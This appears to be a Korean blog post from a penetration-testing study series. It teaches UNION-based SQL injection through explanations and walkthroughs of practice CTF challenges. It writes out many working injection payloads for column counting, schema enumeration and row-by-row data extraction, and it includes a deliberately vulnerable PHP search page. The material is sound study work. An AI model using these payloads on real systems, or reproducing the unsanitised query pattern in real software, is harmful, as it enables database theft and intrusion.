모의해킹 스터디 Week6

CTF에 임하는 올바른 자세

문제를 풀지 못하고 있을 때 가끔 우리는 "재능이 없는 것 같다"라고 생각합니다. 하지만 해킹은 노력으로 충분히 커버가 가능한 학문입니다. 여기서 말하는 노력의 정도는 문제를 해결 하기위해 고민하고 시도한 시간입니다.

이해하기 쉽도록 로그인 페이지를 우회하는 CTF 문제를 푼다고 가정합니다. 우리는 SQL Injection 공격을 통해 로그인 우회를 시도하고 있을 것입니다. 보통 우리는 SQLi을 위한 구문을 몇 개 넣어보고, 풀리지 않으면 다른 구문을 고민하기를 반복합니다. 때로는 가만히 손 놓고 앉아 모니터를 바라보는 것을 고민하고 있다고 생각합니다.

하지만 문제를 해결하기 위해 가장 좋은 방법은 직접 시도해보는 것입니다. 간단한 방법으로 로그인 로직을 풀 수 없다면 직접 로그인 로직을 하나씩 유추하면서 구축해나가는 것, 어떤 방식이던 얼마가 걸리던 관심없습니다. 비록 정답과는 다른 방향으로 향하고 있더라도 문제 해결을 찾아가는 그 시간이 해킹을 공부하기 위해 필요한 시간입니다.


CTF를 풀면서

풀이 중 문제가 발생했다면 문제의 원인을 찾는 것이 우선이 되어야합니다. 단순히 문제의 답안을 내는 것에 집중하다보면 문제가 보다 복잡하게 느껴질 수 있고 풀이의 핵심을 놓칠 수 있습니다. 오히려 원인을 하나씩 해결해나가면 자연스럽게 답을 찾아낼 수 있을 것입니다.


CTF를 마치고

문제를 풀었다고 해서 우리가 그 문제에 대해 100% 정복했다고 말하기는 어려울 것입니다. 때문에 문제를 똑같이 구현해보고 직접 원인을 찾아가고를 반복하다보면 해당 문제에 관한 이슈나 테크닉들을 더욱 심화 학습할 수 있습니다.


SQLi UNION required

응용 프로그램이 SQL 주입에 취약하고 쿼리 결과가 응용 프로그램의 응답 내에서 반환되면 UNION 키워드를 사용하여 데이터베이스 내의 다른 테이블에서 데이터를 검색 할 수 있습니다.
- PortSwigger "UNION attacks"

SQL UNION

UNION연산자는 다수의 SELECT로 조회한 결과를 집합하여 하나의 결과로 보여줍니다.

예시로 UNION을 이용해 테이블을 합쳐보겠습니다.

student_info

+-----------+-------------+-------+--------+
| sid       | name        | grade | gender |
+-----------+-------------+-------+--------+
| 202100305 | OH HAEGWAN  |     4 | MALE   |
| 202100312 | KIM JAEWON  |     4 | MALE   |
| 202100624 | HONG EUNJAE |     4 | MALE   |
+-----------+-------------+-------+--------+

student_score

+-----------+-------------+-------+------------+
| sid       | name        | score | test_date  |
+-----------+-------------+-------+------------+
| 202100305 | OH HAEGWAN  |   100 | 2021-06-01 |
| 202100312 | KIM JAEWON  |    81 | 2021-06-01 |
| 202100624 | HONG EUNJAE |    96 | 2021-06-01 |
+-----------+-------------+-------+------------+


SELECT * FROM student_info 
UNION 
SELECT * FROM student_score;
+-----------+-------------+-------+------------+
| sid       | name        | grade | gender     |
+-----------+-------------+-------+------------+
| 202100305 | OH HAEGWAN  |     4 | MALE       |
| 202100312 | KIM JAEWON  |     4 | MALE       |
| 202100624 | HONG EUNJAE |     4 | MALE       |
| 202100305 | OH HAEGWAN  |   100 | 2021-06-01 |
| 202100312 | KIM JAEWON  |    81 | 2021-06-01 |
| 202100624 | HONG EUNJAE |    96 | 2021-06-01 |
+-----------+-------------+-------+------------+


SQLi UNION에서 주목할 점은 SELECT를 한번 더 사용할 수 있다는 것입니다. 때문에 시스템에 적용된 데이터만 출력하는 것이 아니라 이 외에 공격자가 원하는 데이터도 출력할 수 있습니다. 또한 두 테이블의 Column 갯수를 맞춰야 정상적으로 출력됩니다.


SQL ORDER BY

ORDER BY는 데이터를 정렬하는 구문입니다. SELECT 구문 제일 마지막에 사용하고 정렬 기준은 Column 명 또는 Column index로 잡을 수 있습니다.

+-----------+-------------+-------+--------+
| sid       | name        | grade | gender |
+-----------+-------------+-------+--------+
| 202100305 | OH HAEGWAN  |     4 | MALE   |
| 202100312 | KIM JAEWON  |     4 | MALE   |
| 202100624 | HONG EUNJAE |     4 | MALE   |
+-----------+-------------+-------+--------+

위에 데이터를 참고하여 index1:sid, index2:name, index3:grade, index4:gender로 표현합니다. Column 갯수는 총 4개로 index5를 정렬 기준으로 잡게 되면 에러가 나오는 것을 이용하여 Column 갯수를 확인할 수 있습니다.


information_schema DB

관계형 데이터베이스에서 정보 스키마는 데이터베이스의 모든 테이블, 보기, 열 및 프로시저에 대한 정보를 제공하는 ANSI 표준 읽기 전용 보기 집합입니다.
- 위키백과 "Information schema"

쉽게 이해하자면 information_schema는 테이블, COLUMN 등에 정보들이 저장되어있는 데이터베이스라고 생각하시면 됩니다. 이 DB에는 tables, columns 등의 이름으로 테이블이 존재합니다.



student_DB 데이터베이스에 존재하는 모든 테이블 명을 조회합니다.

SELECT table_name 
FROM information_schema.tables 
WHERE table_schema = 'student_DB';
+------------+
| table_name |
+------------+
| info       |
| score      |
+------------+


info 테이블에 존재하는 모든 COLUMN 명을 조회합니다.

SELECT column_name 
FROM information_schema.columns 
WHERE table_name = "info";
+-------------+
| column_name |
+-------------+
| sid         |
| name        |
| grade       |
| gender      |
+-------------+

SQLi UNION process

데이터를 추출하기 위한 과정은 아래와 같습니다. 이 방법을 사용하여 사용자들의 데이터를 추출해보겠습니다.

  1. Injection Point 찾기
  2. Column 갯수 찾기
  3. Injection Point를 통해 얻을 수 있는 정보의 Column 위치 찾기
  4. 데이터베이스 이름 확인
  5. 테이블 이름 확인
  6. Column 이름 확인
  7. Data 추출

Injection Point 찾기

다음 과정에 필요한 Injecion Point의 핵심은 쿼리문을 입력하였을 때 웹 페이지에 데이터가 출력되어야 합니다.

ex) 게시판, 검색창 등


Column 갯수 찾기

ORDER BY index 정렬을 이용하여 Column 갯수를 확인합니다.

sid%' order by 4 #까지는 결과가 정상적으로 출력되지만 sid%' order by 5 #부터는 에러가 발생합니다.

이로써 Column 갯수는 4개라는 것을 확인 할 수 있습니다.



출력되는 Column 위치 찾기

UNION연산과 알아낸 Column 갯수를 통해 출력되는 위치를 확인합니다.

SID%' UNION SELECT 1, 2, 3, 4 #를 입력하여 2, 3, 4가 출력되는 위치임을 확인하였습니다.

이 방법으로 숫자를 하나씩 넣어보면서 Column 갯수도 확인할 수 있습니다. 하지만 개인적으로 ORDER BY가 더 괜찮은 방법인 것 같습니다.


데이터베이스 명 확인

SELECT DATABASE()쿼리문을 통해 데이터베이스 명을 확인할 수 있습니다.

SELECT DATABASE();
+------------+
| database() |
+------------+
| student_DB |
+------------+


출력이 확인된 index2를 사용하겠습니다. SID%' UNION SELECT 1, DATABASE(), 3, 4 # 입력하여 데이터베이스 명이 segfault_sql라는 것을 확인하였습니다.


테이블 명 확인

SID%' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema = 'segfault_sql' #를 입력하여 information_schema에서 segfault_sql 데이터베이스의 테이블 명을 모두 조회합니다.

game, member, secret, secret member 테이블의 존재를 확인합니다.


Column 명 확인

SID%' UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name = 'secret_member' # 을 입력하여 secret_member 테이블에 존재하는 모든 Column 명을 확인합니다.

name, phone, email, level


Data 추출

SID%' UNION SELECT 1, name, email, level FROM secret_member #을 입력하여 secret_member의 데이터를 모두 확인합니다.

flag도 있네요 ;) segfault{You Found It!?}


Practice SQLi UNION

웹 페이지에서 doldol유저의 데이터를 추출합니다.



그냥 아무거나 넣었을 때 서버 REQUEST를 확인하려고 시작부터 1234를 입력하였더니 유저 정보하나가 출력되어버렸습니다.



ORDER BY절을 사용하여 Column 갯수가 4라는 것을 확인할 수 있습니다.

ORDER BY 5가 삽입되었을 때 에러가 발생합니다.



데이터베이스 명, 데이터베이스의 존재하는 테이블 명 확인합니다.

Database: segfault_sql


Tables: game, member, secret, secret_member



member 테이블의 Column 확인합니다.

doldol에 대한 첫번째 정보입니다.




phone: 010-4444-2222
email: dol@dol.com



secret_member 테이블의 Column 확인

doldol에 대한 두번째 정보입니다.




Password: aaaa
email: mario@test.com



한 유저의 허술한 비밀번호로 인해 한 하나의 계정이 위험해지는 것이 아니라 서버 전체에 영향을 미칠 수 있는 것 같습니다.

이를 방지하기 위해 서버 관리자가 나서서 유저 비밀번호의 정책을 강화해야될 것 같다고 느꼈습니다.


CTF

SQL Injection 1



검색창에 mari를 입력했더니 mario유저 정보가 확인됩니다. 아래와 같이 쿼리문을 유추해볼 수 있을 것 같습니다.

SELECT id, level, rp, rate 
FROM members 
WHERE id like '%{ id }%';


mari%'and'1'='1'#를 검색창에 입력했더니 정상적으로 데이터가 출력되어 SQLi 공격도 가능하다는 것을 확인할 수 있습니다.



ORDER BY를 이용하여 Column 갯수를 확인합니다.

ORDER BY 4까지는 정상적으로 출력이 되지만, ORDER BY 5부터는 문제가 발생합니다. Column 갯수는 4개임을 확인하였습니다.

웹 페이지에 4개의 데이터가 출력되고 있으므로 굳이 출력되는 Column 위치는 확인하지 않아도 될 것 같습니다.



데이터베이스 명은 sqli_1입니다.



information_schema에서 확인되는 sqli_1데이터베이스의 테이블은 flag_table, plusFlag_Table, user_info 입니다.



flag_table 테이블에 있는 Column flag를 확인합니다.

flag_table 테이블의 데이터를 조회하면 flag가 출력됩니다.



plusFlag_Table 테이블에 있는 Column idx, flag를 확인합니다.

plusFlag_Table 테이블의 데이터를 조회하면 offline_segfault{} 형식의 flag와 유사한 문자열이 존재합니다. 이건 뭘까요?


SQL Injection 2



웹 페이지에 힌트처럼 나와있는 normaltic을 입력하면 아래 이미지와 같이 출력됩니다.

검색한 USER ID가 존재하지 않을 때는 Info Column에 아무것도 출력되지 않습니다.



normaltic'# 입력이 정상대로 출력되는 것으로 SQLi 공격 가능합니다.

'문자를 넣어 SQL 에러 발생시 아무것도 출력되지 않습니다.



ORDER BY 7을 삽입할 경우 SQL 에러가 발생합니다.

ORDER BY절을 이용하여 Column 갯수가 6개임을 확인합니다.



해당 페이지에 결과값은 2줄 이상 출력되지 않습니다.

normaltic' UNION SELECT 1, 2, 3, 4, 5, 6 #



처음보는 유형의 문제라 여기서 많은 시간을 물리는 바람에 직접 구현해보기로 했습니다.

Table:member

+-----+-------+------------------+----------+
| uid | name  | email            | info     |
+-----+-------+------------------+----------+
|   1 | Aiden | sungmin@test.com | sexy_guy |
|   2 | David | jinseo@test.com  | GREEEEEN |
|   3 | Bob   | jinjun@test.com  | beginner |
+-----+-------+------------------+----------+

Table:country

+------+-------------+----------+-----------+
| code | name        | capital  | continent |
+------+-------------+----------+-----------+
|   36 | austraila   | canberra | oceania   |
|  392 | japan       | tokyo    | asia      |
|  410 | south korea | seoul    | asia      |
|  643 | russia      | moscow   | europe    |
+------+-------------+----------+-----------+

test.php

<?php 
include $_SERVER["DOCUMENT_ROOT"]."/include/test_db.php";

$name = $_GET["name"];

$sql = "SELECT * FROM member WHERE name = '" . $name . "'";
$result = mysqli_query($db_conn, $sql);
$row = mysqli_fetch_assoc($result);
if($row) {
    $phone = "******";
} else {
    $phone = "";
}
?>

<!DOCTYPE>
<html lang = ko>
<head>
    <title>test</title>
</head>
<body>
    <h1>Search</h1>
    <form method="get">
        <input type="text" name="name"/>
        <input type="submit" value="OK"/>
    </form>
    <br/>
    <h2>data</h2>
    <table>
    <thead>
        <tr>
            <th>id</th>
            <th>phone</th>
            <th>Info</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td><?php echo $name;?></td>
            <td><?php echo $phone;?></td>
            <td><?php echo $row["info"];?></td>
        </tr>
    </tbody>
    </table>    
</body>
</html>


  • id: 사용자가 입력한 문자열이 출력됩니다.
  • phone: Masking을 흉내낸 문자열입니다.
  • Info: 검색한 유저의 정보가 출력됩니다.


Info열에 다른 데이터가 출력되기 위해서는 어떠한 데이터도 출력되서는 안됩니다. 때문에 존재하지 않는 유저를 이용하여 오류는 발생시키지 않고 다른 데이터가 출력되도록 합니다.


6에서 Info데이터가 출력됩니다.



데이터베이스 명은 sqli_5로 확인하였습니다.

eunjae' UNION SELECT 1, 2, 3, 4, 5, database() #



flag_honey 테이블을 확인하였습니다.

eunjae' UNION SELECT 1, 2, 3, 4, 5, table_name FROM information_schema.tables WHERE table_schema = 'sqli_5' #


하지만 새로운 위기에 봉착하였습니다. 현재 데이터는 하나만 출력되고 있기 때문에 테이블이 2개 이상일 경우 다른 테이블은 확인할 수 없습니다. 데이터베이스에 다른 테이블이 존재하는지 확인하고 넘어가겠습니다.



보통 테이블을 조회할 때 존재하는 테이블이 모두 출력됩니다. 하지만 데이터를 한줄만 출력해야 한다면 쿼리로 하나하나 꺼내봐야합니다.

SELECT table_name 
FROM information_schema.tables 
WHERE table_schema = 'test';
+------------+
| table_name |
+------------+
| country    |
| member     |
+------------+

옆으로 줄세워진 사람들을 부르기 위해서 반드시 이름을 알아야하는 것은 아닙니다. "세 번째 서 계시는분", "다섯 번째 서 계시는 분" 과 같이 호명할 수 있습니다.

이를 위해 저희는 결과값 옆에 index를 붙여줄 것입니다.

SELECT @row_num := @row_num + 1 AS 'idx', table_name 
FROM (SELECT @row_num := 0) r, information_schema.tables 
WHERE table_schema = 'test';
+------+------------+
| idx  | table_name |
+------+------------+
|    1 | country    |
|    2 | member     |
+------+------------+

index를 붙여준 테이블을 가상테이블로 잡아주고 WHERE idx = { index number }로 모든 데이터가 확인이 가능합니다.

eunjae' UNION SELECT 1, 2, 3, table_name FROM (SELECT @row_num := @row_num + 1 AS 'idx', table_name FROM (SELECT @row_num := 0) r, information_schema.tables WHERE table_schema = 'test') t WHERE idx = 1 #


eunjae' UNION SELECT 1, 2, 3, table_name FROM (SELECT @row_num := @row_num + 1 AS 'idx', table_name FROM (SELECT @row_num := 0) r, information_schema.tables WHERE table_schema = 'test') t WHERE idx = 2 #



노가다의 결과물을 종합해보면 이렇습니다.
Database: sqli_5
Tables: flag_honey, game_user, secret

수상해보이는 secret 테이블 Column flag 확인

eunjae' UNION SELECT 1,2,3,4,5, flag FROM (SELECT @row_num := @row_num + 1 AS idx, flag FROM secret, (SELECT @row_num := 0) r ORDER BY flag DESC) t WHERE idx = 1 #



이번 주는 일 들어가기 전 짬짬히 하려고 노력했고, 일 끝나고 피곤한 몸을 이끌고 노트북을 바라보느라 고생한 저에게 박수를 쳐주고 싶습니다.

SQL Injection 2 문제 정말 처음에는 감도 안잡히고 맘고생 많이 했는데 결국에 풀고나서 정말 환호성을 지른 것 같습니다. 점점 재미를 느껴가는 것 같아서 기쁩니다.

'메모장' 카테고리의 다른 글

모의해킹 스터디 Week9  (3) 2025.06.11
모의해킹 스터디 Week8  (0) 2025.06.04
모의해킹 스터디 Week5  (0) 2025.05.07
모의해킹 스터디 Week4  (0) 2025.04.27
모의해킹 스터디 Week3  (0) 2025.04.23